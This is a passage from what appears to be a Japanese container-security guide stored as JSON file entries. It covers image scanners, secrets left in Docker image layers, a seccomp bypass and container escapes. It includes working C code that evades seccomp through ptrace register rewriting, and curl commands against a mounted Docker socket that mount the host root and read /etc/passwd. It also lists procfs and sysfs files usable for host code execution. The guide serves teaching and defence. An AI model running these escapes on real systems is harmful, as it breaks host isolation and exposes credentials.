    "content": "# イメージスキャン\n\nDocker イメージにはアプリケーションの動作に必要なソフトウェアが含まれており、それらに脆弱性が存在することがあります。  \nコンテナに限らず、オンプレやVMでも同様ですが、それらの脆弱性を利用されて権限昇格されることもあります。そのため、イメージに含まれる脆弱性の把握とリスク管理を行う必要があります。\n\nここではイメージをスキャンして脆弱性を把握するためのツールを紹介します。\n\n## trivy\n\n* https://github.com/aquasecurity/trivy\n\ntrivy[^1] はイメージを静的解析し、主要OSのパッケージに加えて bundler や npm などでインストールされているアプリケーションパッケージもスキャン対象に含めることができます。  \n他のイメージスキャナと比較して誤検知の少なさなど、正確性も売りとなっています。\n\n```sh\n$ trivy ubuntu:latest\n\nubuntu:latest (ubuntu 20.04)\n============================\nTotal: 20 (UNKNOWN: 0, LOW: 18, MEDIUM: 2, HIGH: 0, CRITICAL: 0)\n\n+-------------+------------------+----------+------------------------+-------------------+--------------------------------+\n|   LIBRARY   | VULNERABILITY ID | SEVERITY |   INSTALLED VERSION    |   FIXED VERSION   |             TITLE              |\n+-------------+------------------+----------+------------------------+-------------------+--------------------------------+\n| bash        | CVE-2019-18276   | LOW      | 5.0-6ubuntu1.1         |                   | bash: when effective UID is    |\n|             |                  |          |                        |                   | not equal to its real UID      |\n|             |                  |          |                        |                   | the...                         |\n+-------------+------------------+          +------------------------+-------------------+--------------------------------+\n| coreutils   | CVE-2016-2781    |          | 8.30-3ubuntu2          |                   | coreutils: Non-privileged      |\n|             |                  |          |                        |                   | session can escape to the      |\n|             |                  |          |                        |                   | parent session in chroot       |\n+-------------+------------------+          +------------------------+-------------------+--------------------------------+\n| gpgv        | CVE-2019-13050   |          | 2.2.19-3ubuntu2        |                   | GnuPG: interaction between the |\n|             |                  |          |                        |                   | sks-keyserver code and GnuPG   |\n|             |                  |          |                        |                   | allows for a Certificate...    |\n+-------------+------------------+          +------------------------+-------------------+--------------------------------+\n| libc-bin    | CVE-2016-10228   |          | 2.31-0ubuntu9.1        |                   | glibc: iconv program can       |\n|             |                  |          |                        |                   | hang when invoked with the -c  |\n|             |                  |          |                        |                   | option                         |\n+             +------------------+          +                        +-------------------+--------------------------------+\n|             | CVE-2020-6096    |          |                        |                   | glibc: signed comparison       |\n|             |                  |          |                        |                   | vulnerability in the ARMv7     |\n|             |                  |          |                        |                   | memcpy function                |\n+-------------+------------------+          +                        +-------------------+--------------------------------+\n...\n```\n\n## snyk\n\n[snyk](snyk.io) はアプリケーションライブラリの脆弱性DBを持ち、検知するツールを提供しています。Docker のイメージスキャンに snyk が利用されるようになり、Docker 2.3.6.0 以降は `docker scan` コマンドだけでイメージスキャンが利用できるようになっています。[^2]  \n\n```sh\n❯ docker scan ubuntu:latest\n\nTesting ubuntu:latest...\n\n✗ Low severity vulnerability found in tar\n  Description: NULL Pointer Dereference\n  Info: https://snyk.io/vuln/SNYK-UBUNTU2004-TAR-576242\n  Introduced through: meta-common-packages@meta\n  From: meta-common-packages@meta > tar@1.30+dfsg-7\n\n✗ Low severity vulnerability found in systemd/libsystemd0\n  Description: Improper Input Validation\n  Info: https://snyk.io/vuln/SNYK-UBUNTU2004-SYSTEMD-576079\n  Introduced through: systemd/libsystemd0@245.4-4ubuntu3.2, apt@2.0.2ubuntu0.1, procps/libprocps8@2:3.3.16-1ubuntu2, util-linux/bsdutils@1:2.34-0.1ubuntu9.1, util-linux/mount@2.34-0.1ubuntu9.1, systemd/libudev1@245.4-4ubuntu3.2\n  From: systemd/libsystemd0@245.4-4ubuntu3.2\n  From: apt@2.0.2ubuntu0.1 > systemd/libsystemd0@245.4-4ubuntu3.2\n  From: procps/libprocps8@2:3.3.16-1ubuntu2 > systemd/libsystemd0@245.4-4ubuntu3.2\n  and 6 more...\n...\n```\n\n## Anchore\n\n* https://github.com/anchore/anchore-engine\n\nAnchore[^3] はイメージの脆弱性を集中管理する機能を持ちます。REST API を通して利用できるためプログラマブルであることが特徴の一つです。\n\n```sh\n❯ anchore-cli image add docker.io/library/debian:latest\n\nImage Digest: sha256:60cb30babcd1740309903c37d3d408407d190cf73015aeddec9086ef3f393a5d\nParent Digest: sha256:8414aa82208bc4c2761dc149df67e25c6b8a9380e5d8c4e7b5c84ca2d04bb244\nAnalysis Status: not_analyzed\nImage Type: docker\nAnalyzed At: None\nImage ID: 1510e850178318cd2b654439b56266e7b6cbff36f95f343f662c708cd51d0610\nDockerfile Mode: None\nDistro: None\nDistro Version: None\nSize: None\nArchitecture: None\nLayer Count: None\n\nFull Tag: docker.io/library/debian:latest\nTag Detected At: 2020-11-15T04:23:09Z\n\n❯ anchore-cli image list\nFull Tag                               Image Digest                                                                   Analysis Status\ndocker.io/library/debian:latest        sha256:60cb30babcd1740309903c37d3d408407d190cf73015aeddec9086ef3f393a5d        analyzed\ndocker.io/library/ubuntu:latest        sha256:1d7b639619bdca2d008eca2d5293e3c43ff84cbee597ff76de3b7a7de3e84956        analyzed\n\n❯ anchore-cli image vuln docker.io/library/debian:latest os\nVulnerability ID        Package                            Severity          Fix         CVE Refs        Vulnerability URL                                                   Type        Feed Group        Package Path\nCVE-2011-3389           libgnutls30-3.6.7-4+deb10u5        Medium            None                        https://security-tracker.debian.org/tracker/CVE-2011-3389           dpkg        debian:10         pkgdb\nCVE-2005-2541           tar-1.30+dfsg-6                    Negligible        None                        https://security-tracker.debian.org/tracker/CVE-2005-2541           dpkg        debian:10         pkgdb\n...\n```\n\n# イメージスキャナ自体の脆弱性\n\nイメージスキャナはイメージを静的解析するものと内部で OS コマンドやパッケージマネージャーを実行する動的解析するものがあります。  \n動的解析するものにOSコマンドの呼び出しに不備があると、不正なイメージファイルをスキャンさせることで、任意コード実行につなげることができます。\n\n例えば Anchore 0.7 では次のように OS コマンドが呼び出され、そのバリデーションに不備があったため、任意コード実行につなげることができました。\n\n* https://github.com/anchore/anchore-engine/issues/430\n\n中には脆弱性報告されたものの未修正のものもあるため、利用ケースを考えて使用したり、イメージスキャナ自体もアップデートしていく必要があります。[^4]\n\n[^1]: https://github.com/aquasecurity/trivy/\n[^2]: https://docs.docker.com/engine/scan/\n[^3]: https://github.com/anchore/anchore-engine\n[^4]: Testing docker CVE scanners. Part 2.5 — Exploiting CVE scanners / https://medium.com/@matuzg/testing-docker-cve-scanners-part-2-5-exploiting-cve-scanners-b37766f73005\n"
  },
  {
    "path": "source/security/image/secrets-in-layer.md",
    "content": "# イメージレイヤへの機密情報の保持\n\nDocker イメージは OverlayFS のようにレイヤが存在し、ベースとなる OS レイヤに対してアプリケーションやライブラリを追加されたものになっています。\n\n例えば次のような Dockerfile を用意しビルドします。\n\n```sh\n$ cat Dockerfile\nFROM alpine:latest\nRUN echo \"secret\" > /secret.txt\nRUN rm /secret.txt\n\n$ docker build -t test .\nSending build context to Docker daemon  10.61MB\nStep 1/3 : FROM alpine:latest\n ---> d6e46aa2470d\nStep 2/3 : RUN echo \"secret\" > /secret.txt\n ---> Running in 32f150d1804c\nRemoving intermediate container 32f150d1804c\n ---> 2cac5efedab4\nStep 3/3 : RUN rm /secret.txt\n ---> Running in be0569fd1744\nRemoving intermediate container be0569fd1744\n ---> b29dd8898773\nSuccessfully built b29dd8898773\nSuccessfully tagged test:latest\n```\n\nこの Dockerfile は3つのレイヤで構成されています。\n\n* Layer 1 ... `FROM alpine:latest`\n* Layer 2 ... `RUN echo \"secret\" > /secret.txt`\n* Layer 3 ... `RUN rm /secret.txt`\n\nより視覚的に確認するために [dive](https://github.com/wagoodman/dive) を使ってみると、確かに3つのレイヤであることを確認できます。[^1]\n\n```\n$ dive test\n┃ ● Layers ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ │ Current Layer Contents ├────────────────────\nCmp   Size  Command                            ├── bin\n    5.6 MB  FROM b1c62b187dcd114               │   ├── arch → /bin/busybox\n       7 B  echo \"secret\" > /secret.txt        │   ├── ash → /bin/busybox\n       0 B  rm /secret.txt                     │   ├── base64 → /bin/busybox\n                                               │   ├── bbconfig → /bin/busybox\n│ Layer Details ├───────────────────────────── │   ├── busybox\n                                               │   ├── cat → /bin/busybox\nTags:   (unavailable)                          │   ├── chgrp → /bin/busybox\nId:     b1c62b187dcd114a7252e45a4f03577549d822 │   ├── chmod → /bin/busybox\n77149b5467c73eefaa956260bd                     │   ├── chown → /bin/busybox\nDigest: sha256:ace0eda3e3be35a979cec764a3321b4 │   ├── conspy → /bin/busybox\nc7d0b9e4bb3094d20d3ff6782961a8d54              │   ├── cp → /bin/busybox\nCommand:                                       │   ├── date → /bin/busybox\n#(nop) ADD file:f17f65714f703db9012f00e5ec98d0 │   ├── dd → /bin/busybox\nb2541ff6147c2633f7ab9ba659d0c507f4 in /        │   ├── df → /bin/busybox\n                                               │   ├── dmesg → /bin/busybox\n│ Image Details ├───────────────────────────── │   ├── dnsdomainname → /bin/busybox\n                                               │   ├── dumpkmap → /bin/busybox\n                                               │   ├── echo → /bin/busybox\nTotal Image size: 5.6 MB                       │   ├── ed → /bin/busybox\nPotential wasted space: 7 B                    │   ├── egrep → /bin/busybox\nImage efficiency score: 99 %                   │   ├── false → /bin/busybox\n                                               │   ├── fatattr → /bin/busybox\n```\n\nイメージは各レイヤを保持しているため、特定のレイヤを抽出することができます。  \nつまり、`rm /secret.txt` のように Dockerfile 内で機密情報を削除している場合でも、その機密情報を取り出すことが可能です。\n\n```sh\n$ docker save test > test.tar\n$ mkdir test\n$ cd test\n~/test$ tar -xf ../test.tar\n~/test$ ls\nb1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd       b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a  manifest.json\nb29dd88987735c67e31b37de3c0c44abf656b42e6ce396defbfd967ba772e027.json  c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156  repositories\n\n$ cat b29*.json | jq\n\"history\": [\n    {\n      \"created\": \"2020-10-22T02:19:24.33416307Z\",\n      \"created_by\": \"/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / \"\n    },\n    {\n      \"created\": \"2020-10-22T02:19:24.499382102Z\",\n      \"created_by\": \"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\",\n      \"empty_layer\": true\n    },\n    {\n      \"created\": \"2020-11-02T09:05:38.780508124Z\",\n      \"created_by\": \"/bin/sh -c echo \\\"secret\\\" > /secret.txt\"\n    },\n    {\n      \"created\": \"2020-11-02T09:05:39.890868911Z\",\n      \"created_by\": \"/bin/sh -c rm /secret.txt\"\n    }\n\n$ cat manifest.json | jq\n...\n    \"Layers\": [\n      \"b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd/layer.tar\",\n      \"c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar\",\n      \"b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a/layer.tar\"\n...\n\n$ tar xf c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar\n$ cat secret.txt\nsecret\n```\n\n上記のようなケースを防ぐために、機密情報は環境変数で渡したりするようにしましょう。[^2][^3]\n\n---\n\n[^1]: https://github.com/wagoodman/dive\n[^2]: https://docs.docker.com/engine/swarm/secrets/\n[^3]: https://docs.docker.com/develop/develop-images/build_enhancements/\n"
  },
  {
    "path": "source/security/seccomp-bypass.md",
    "content": "# seccomp のバイパス\n\nseccomp は特定のシステムコール呼び出しを制限する機構ですが、 **Linux Kernel 4.8 まで** は ptrace を使うことでバイパスすることができます。  \nこれは ptrace トレーサに通知される前（システムコールが呼び出されて実行される前）に seccomp フィルタが適用されるため、seccomp によって検査された後のレジスタを変更することで、制限されているシステムコールを呼び出すことができるという仕組みです。\n\n具体的な手順としては次の通りです。\n\n1. `fork(2)` で子プロセスで禁止されているシステムコールを実行し、親プロセス側でそのシステムコールの監視をする\n2. システムコールが呼ばれたら別のシステムコールを呼び出すようにレジスタを書き換える\n3. そのシステムコールが呼び出されたら、レジスタ状態を元に戻すことで禁止されたシステムコールを実行できる\n\nコードにすると次の通りです。\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <unistd.h>\n#include <ctype.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <sys/user.h>\n#include <sys/signal.h>\n#include <sys/wait.h>\n#include <sys/ptrace.h>\n#include <sys/fcntl.h>\n#include <syscall.h>\n\n\nvoid die (const char *msg)\n{\n  perror(msg);\n  exit(errno);\n}\n\nvoid attack()\n{\n  int rc;\n  \n  // mkdir(\"dir\", 0777);\n  syscall(SYS_getpid, SYS_mkdir, \"dir\", 0777); // 引数部分に SYS_mkdir とその引数を与えておく\n}\n\nint main()\n{\n  int pid;\n  struct user_regs_struct regs;\n  switch( (pid = fork()) ) {\n    case -1:  die(\"Failed fork\");\n    case 0:\n              // 親プロセスにトレースさせる\n              ptrace(PTRACE_TRACEME, 0, NULL, NULL);\n              kill(getpid(), SIGSTOP);\n              attack();\n              return 0;\n  }\n\n  waitpid(pid, 0, 0);\n\n  while(1) {\n    int st;\n    // 子プロセスを再開する\n    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);\n    if (waitpid(pid, &st, __WALL) == -1) {\n      break;\n    }\n\n    if (!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP)) {\n      break;\n    }\n\n    ptrace(PTRACE_GETREGS, pid, NULL, &regs);\n    printf(\"orig_rax = %lld\\n\", regs.orig_rax);\n\n    // syscall-enter-stop であればスキップ\n    if (regs.rax != -ENOSYS) {\n      continue;\n    }\n\n    // レジスタの内容を変更してシステムコールを変更する\n    if (regs.orig_rax == SYS_getpid) {\n      regs.orig_rax = regs.rdi;\n      regs.rdi = regs.rsi;\n      regs.rsi = regs.rdx;\n      regs.rdx = regs.r10;\n      regs.r10 = regs.r8;\n      regs.r8 = regs.r9;\n      regs.r9 = 0;\n      ptrace(PTRACE_SETREGS, pid, NULL, &regs);\n    }\n  }\n  return 0;\n}\n```\n\n`mkdir(2)` を禁止する seccomp profile を適用したコンテナを作成します。\n\n```sh\n$ cat seccomp.json | jq \n{\n  \"defaultAction\": \"SCMP_ACT_ALLOW\",\n  \"syscalls\": [\n    {\n      \"name\": \"mkdir\",\n      \"action\": \"SCMP_ACT_ERRNO\",\n      \"args\": []\n    }\n  ]\n}\n\n$ docker run -it --security-opt seccomp:seccomp.json ubuntu:latest bash\n```\n\nそのコンテナの中で上記コードを実行すると seccomp の制限をバイパスして `mkdir(2)` を実行することが確認できます。\n\n```sh\n[root@d7799354119f tmp]# mkdir dir\nmkdir: cannot create directory 'dir': Operation not permitted\n\n[root@d7799354119f tmp]# ./a.out\norig_rax = 39\norig_rax = 83\norig_rax = 231\n[root@d75f3506a41d tmp]# ls\na.out  dir\n```\n"
  },
  {
    "path": "source/security/sensitive-file-mount.md",
    "content": "# Sensitive File Mount\n\nコンテナに特定のファイルをマウントした場合に、ホスト側にエスケープできるケースがあります。\n\n## Docker Socket\n\nDocker Daemon と通信を行うソケットをコンテナにマウントすると、コンテナから任意の HTTP リクエストを送信できるため、ホスト側にエスケープすることができます。\n\n```sh\nubuntu@docker:~$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest bash\n# コンテナ一覧を取得できる\nroot@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock http:/v1.24/containers/json\n[{\"Id\":\"3ba2c2752b264486b24d5ae00c2a4b6d00b341fe8001f1e703ecadd4ee44655e\",\"Names\":[\"/eager_wozniak\"],\"Image\":\"ubuntu:latest\",\"ImageID\":\"sha256:bb0eaf4eee00c28cb8ffd54e571dd225f1dd2ed8d8751b2835c31e84188bf2de\",\"Command\":\"bash\",\"Created\":1605360446,\"Ports\":[],\"Labels\":{},\"State\":\"running\",\"Status\":\"Up About a minute\",\"HostConfig\":{\"NetworkMode\":\"default\"},\"NetworkSettings\":{\"Networks\":{\"bridge\":{\"IPAMConfig\":null,\"Links\":null,\"Aliases\":null,\"NetworkID\":\"fdc64dc8a87c0c6a25e6186c5713f03c36a6be049d9a800d745a4d0c7e6c93de\",\"EndpointID\":\"609757590f10f891224587c9f48abbf3f243705660c98cfb8489aa5cecf29f51\",\"Gateway\":\"172.17.0.1\",\"IPAddress\":\"172.17.0.2\",\"IPPrefixLen\":16,\"IPv6Gateway\":\"\",\"GlobalIPv6Address\":\"\",\"GlobalIPv6PrefixLen\":0,\"MacAddress\":\"02:42:ac:11:00:02\",\"DriverOpts\":null}}},\"Mounts\":[{\"Type\":\"bind\",\"Source\":\"/var/run/docker.sock\",\"Destination\":\"/var/run/docker.sock\",\"Mode\":\"\",\"RW\":true,\"Propagation\":\"rprivate\"}]}]\n\n# host の / をマウントしたコンテナを作成\nroot@3ba2c2752b26:/# curl -L --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{\"Hostname\": \"\",\"Domainname\": \"\",\"User\": \"\",\"AttachStdin\": true,\"AttachStdout\": true,\"AttachStderr\": true,\"Tty\": true,\"OpenStdin\": true,\"StdinOnce\": true,\"Entrypoint\": \"/bin/bash\",\"Image\": \"ubuntu\",\"Volumes\": {\"/hostos/\": {}},\"HostConfig\": {\"Binds\": [\"/:/hostos\"]}}' http://v1.24/containers/create\n{\"Id\":\"8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f\",\"Warnings\":[]}\nroot@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' http:/v1.24/containers/8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f/start\n\n# cat /hostos/etc/passwd を実行\nroot@3ba2c2752b26:/# curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{\"AttachStdin\": true,\"AttachStdout\": true,\"AttachStderr\": true,\"Cmd\": [\"cat\", \"/hostos/etc/passwd\"],\"DetachKeys\": \"ctrl-p,ctrl-q\",\"Privileged\": true,\"Tty\": true}' http:/v1.24/containers/8e15f2d344fa7bf9588f82a097e7c506429b936e85bc2a60350a018a7277403f/exec\n{\"Id\":\"0dd4ef3a6b6f63327ef950f9b90d6908006221160f8c2866ed4a8ca4d6e594fb\"}\nroot@3ba2c2752b26:/# curl -L -i --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{\"Detach\": false,\"Tty\": false}' http://v1.24/exec/0dd4ef3a6b6f63327ef950f9b90d6908006221160f8c2866ed4a8ca4d6e594fb/start --output /tmp/output\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100  1831    0  1801  100    30  19159    319 --:--:-- --:--:-- --:--:-- 19478\n\n# 取得できていることが確認できる\nroot@3ba2c2752b26:/# cat /tmp/output\nHTTP/1.1 200 OK\nContent-Type: application/vnd.docker.raw-stream\nApi-Version: 1.40\nDocker-Experimental: false\nOstype: linux\nServer: Docker/19.03.13 (linux)\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n```\n\n## procfs と sysfs\n\nprocfs や sysfs はカーネルパラメータを設定したりできる機能が提供されているため、これらを利用してホスト側にエスケープしたり、ホスト側の情報を引き出すことができます。  \nDocker や LXC では、このような特定のファイルは ReadOnly あるいは `/dev/null` としてマウントされていますが、もしアクセスが可能な場合をみていきます。\n\n![readonly mount](./img/procfs-readonly-mount.png)\n\n### procfs\n\n| ファイル | 概要 |\n|:--------:|:----:|\n| `/proc/sys/kernel/core_pattern` | core ファイルの名前を指定できる。パイプが利用できるため、ホスト側での任意コード実行に繋げることが可能。|\n| `/proc/sys/fs/binfmt_misc` | 指定した拡張子やマジックナンバーを持つファイルを実行する際のインタプリタを指定できる。コンテナ内のファイルを指定することで、ホスト側で対応したファイル実行時にエスケープにつながる。|\n| `/proc/sysrq-trigger` | Sysrq コマンドを扱うファイル。例えばコンテナから文字列 `c` をこのファイルに書き込むことでホストにカーネルパニックを起こせる。|\n| `/proc/sched_debug` | プロセスのスケジュール管理情報を持っているファイル。全ての namespace のプロセス名が含まれるため、ホストのプロセスも確認できる。 |\n\n上記以外にも `/proc/kcore` や `/proc/kallsyms` など、コンテナから閲覧されない方が良いファイルが多数あります。\n\n### sysfs\n\n| ファイル | 概要 |\n|:--------:|:----:|\n| `/sys/kernel/uevent_helper` | uevent が発生した際に実行するプログラムを指定できる。コンテナで uevent を発生させることで、ホスト側での任意コード実行に繋げることが可能。|\n| `/sys/kernel/vmcoreinfo` | カーネルのアドレスリークにつながる |\n\n"
  },
  {
    "path": "source/styles/website.css",
    "content": ".markdown-section blockquote {\n    width: 100%;\n    border-left: 4px solid #3884ff;\n    border-radius: 0.3rem;\n}\n\nblockquote blockquote {\n    padding-right: 0;\n}\n"
  }
]